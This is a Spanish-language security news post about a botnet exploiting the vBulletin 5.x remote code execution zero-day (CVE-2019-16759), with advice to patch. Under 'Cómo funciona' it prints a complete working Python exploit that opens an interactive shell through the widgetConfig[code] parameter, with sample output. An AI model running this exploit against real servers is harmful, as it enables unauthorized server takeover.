28 sept 2019

Botnet aprovecha el 0-Day de RCE en vBulletin (Parchea!)

Hace un par de días hablamos de una vulnerabilidad Zero-Day que afectaba a instalaciones de vBulletin en su versión 5.0.0 a 5.5.4. El mismo día que informábamos de la noticia, el experto en ciberseguridad Troy Mursch, detectó la actividad de una nueva botnet que aprovecha este fallo en el popular sistema de foros para comprometer las máquinas donde se encuentra.

También se ha publicado la herramienta vBulletin-Pwn en GitHub:
Como dato curioso, el malware no solo compromete el sistema y lo convierte en un esclavo más del administrador de la botnet, sino que también bloquea a otros atacantes que intenten explotar la vulnerabilidad.

Para llevar a cabo sus acciones, los atacantes han utilizado un exploit que modifica el código del archivo "includes/vb5/frontend/controller/bbcode.php" permitiendo la ejecución de código de forma remota y bloqueando además a otros atacantes a través del parámetro $_REQUEST["epass"], que requerirá una contraseña al atacante antes de ejecutar el eval($code) utilizado para ejecutar comandos en la máquina vulnerable.
En la captura de pantalla ofrecida por el equipo de Bad Packets puede verse la clave utilizada por el atacante: "2dmfrb28nu3c6s9j".

Según Chaouki Bekrar, CEO y fundador de Zerodium, la empresa dedicada a la compra-venta de exploits, pudieron estar vendiendo este Zero-Day y su correspondiente exploit desde hace al menos tres años.
Les recordamos a todos los usuarios de vBulletin que podrían estar en riesgo y deberían aplicar cuanto antes el parche para la vulnerabilidad CVE-2019-16759.

Cómo funciona

La vulnerabilidad reside en la forma en la que un widget interno acepta configuraciones a través de parámetros en la URL y luego las analiza en el servidor sin las comprobaciones de seguridad adecuadas, lo que permite a cualquier atacante inyectar comandos y ejecutar código de forma remota en el sistema.
import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s " % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

Parece increíble, pero si lanzamos este sencillo script podremos ejecutar cualquier comando en el sistema vulnerable:
$ python vbulletin0-day-1909.py https://url/
vBulletin$ whoami
www-data
vBulletin$

Fuente: Hispasec

Suscríbete a nuestro Boletín

0 Comments:

Publicar un comentario

Gracias por dejar un comentario en Segu-Info.

Gracias por comentar!